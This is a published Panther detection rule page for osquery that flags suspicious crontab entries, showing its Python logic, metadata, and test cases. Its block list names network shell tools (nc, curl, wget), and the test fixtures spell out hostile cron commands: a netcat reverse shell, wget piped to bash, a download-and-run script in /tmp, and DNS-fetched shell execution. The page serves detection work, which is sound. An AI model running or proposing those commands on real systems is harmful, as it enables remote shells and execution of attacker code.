Suspicious cron detected


Description

A suspicious cron has been added

Query · python

import shlex
from fnmatch import fnmatch

SUSPICIOUS_CRON_CMD_ARGS = {
    # Running in unexpected locations
    "/tmp/*",  # nosec
    # Reaching out to the internet
    "curl",
    "dig",
    "http?://*",
    "nc",
    "wget",
}

SUSPICIOUS_CRON_CMDS = {
    # Passing arguments into /bin/sh
    "*|*sh",
    "*sh -c *",
}


def suspicious_cmd_pairs(command):
    return any((fnmatch(command, c) for c in SUSPICIOUS_CRON_CMDS))


def suspicious_cmd_args(command):
    command_args = shlex.split(command.replace("'", "\\'"))  # escape single quotes
    for cmd in command_args:
        if any((fnmatch(cmd, c) for c in SUSPICIOUS_CRON_CMD_ARGS)):
            return True
    return False


def rule(event):
    if "crontab" not in event.get("name"):
        return False

    command = event.deep_get("columns", "command")
    if not command:
        return False

    return any([suspicious_cmd_args(command), suspicious_cmd_pairs(command)])


def title(event):
    return f"Suspicious cron found on [{event.get('hostIdentifier', '<UNKNOWN_HOST>')}]"

Analyst notes

Analyze the command to ensure no nefarious activity is occurring

Raw source Suspicious cron detected · Panther Python
Esc
Published by panther-labs/panther-analysis ↗, licensed under Apache 2.0 ↗. Reproduced here unmodified.
AnalysisType: rule
Filename: osquery_suspicious_cron.py
RuleID: "Osquery.SuspiciousCron"
DisplayName: "Suspicious cron detected"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - Execution:Scheduled Task/Job
Reports:
  MITRE ATT&CK:
    - TA0002:T1053
Severity: High
Description: A suspicious cron has been added
Runbook: Analyze the command to ensure no nefarious activity is occurring
Reference: https://en.wikipedia.org/wiki/Cron
SummaryAttributes:
  - action
  - hostIdentifier
  - name
Tests:
  - Name: Netcat Listener
    ExpectedResult: true
    Log:
      {
        "name": "pack_incident-response_crontab",
        "hostIdentifier": "test-host",
        "action": "added",
        "columns":
          {
            "event": "",
            "minute": "17",
            "hour": "*",
            "day_of_month": "*",
            "month": "*",
            "day_of_week": "7",
            "command": "nc -e /bin/bash 237.233.242.58 80",
            "path": "/etc/crontab",
          },
      }
  - Name: Wget Pipe Bash
    ExpectedResult: true
    Log:
      {
        "name": "pack_incident-response_crontab",
        "action": "added",
        "hostIdentifier": "test-host",
        "columns":
          {
            "event": "",
            "minute": "17",
            "hour": "*",
            "day_of_month": "*",
            "month": "*",
            "day_of_week": "7",
            "command": "wget -qO- -U- https://sd9fd8f9d8fe.io/i.sh|bash >/dev/null 2>&1",
            "path": "/etc/crontab",
          },
      }
  - Name: Wget Execute
    ExpectedResult: true
    Log:
      {
        "name": "pack_incident-response_crontab",
        "action": "added",
        "hostIdentifier": "test-host",
        "columns":
          {
            "event": "",
            "minute": "17",
            "hour": "*",
            "day_of_month": "*",
            "month": "*",
            "day_of_week": "7",
            "command": "wget -O /tmp/load.sh http://test[.]io/load.sh; chmod 777 /tmp/load.sh; /tmp/load.sh >> /tmp/out.log",
            "path": "/etc/crontab",
          },
      }
  - Name: Dig
    ExpectedResult: true
    Log:
      {
        "name": "pack_incident-response_crontab",
        "action": "added",
        "hostIdentifier": "test-host",
        "columns":
          {
            "event": "",
            "minute": "17",
            "hour": "*",
            "day_of_month": "*",
            "month": "*",
            "day_of_week": "7",
            "command": '/bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"',
            "path": "/etc/crontab",
          },
      }
  - Name: Built-in Cron
    ExpectedResult: false
    Log:
      {
        "name": "pack_incident-response_crontab",
        "action": "added",
        "hostIdentifier": "test-host",
        "columns":
          {
            "event": "",
            "minute": "17",
            "hour": "*",
            "day_of_month": "*",
            "month": "*",
            "day_of_week": "7",
            "command": "root cd / && run-parts --report /etc/cron.hourly",
            "path": "/etc/crontab",
          },
      }
  - Name: Command with quotes
    ExpectedResult: false
    Log:
      {
        "name": "pack_incident-response_crontab",
        "action": "added",
        "hostIdentifier": "test-host",
        "columns":
          {
            "event": "",
            "minute": "17",
            "hour": "*",
            "day_of_month": "*",
            "month": "*",
            "day_of_week": "7",
            "command": "runit 'go fast'",
            "path": "/etc/crontab",
          },
      }


# ------ paired body: osquery_suspicious_cron.py ------

import shlex
from fnmatch import fnmatch

SUSPICIOUS_CRON_CMD_ARGS = {
    # Running in unexpected locations
    "/tmp/*",  # nosec
    # Reaching out to the internet
    "curl",
    "dig",
    "http?://*",
    "nc",
    "wget",
}

SUSPICIOUS_CRON_CMDS = {
    # Passing arguments into /bin/sh
    "*|*sh",
    "*sh -c *",
}


def suspicious_cmd_pairs(command):
    return any((fnmatch(command, c) for c in SUSPICIOUS_CRON_CMDS))


def suspicious_cmd_args(command):
    command_args = shlex.split(command.replace("'", "\\'"))  # escape single quotes
    for cmd in command_args:
        if any((fnmatch(cmd, c) for c in SUSPICIOUS_CRON_CMD_ARGS)):
            return True
    return False


def rule(event):
    if "crontab" not in event.get("name"):
        return False

    command = event.deep_get("columns", "command")
    if not command:
        return False

    return any([suspicious_cmd_args(command), suspicious_cmd_pairs(command)])


def title(event):
    return f"Suspicious cron found on [{event.get('hostIdentifier', '<UNKNOWN_HOST>')}]"

Detection rules belong to the projects that publish them and remain under their own licenses. This site indexes and links to them; it claims no rights in them.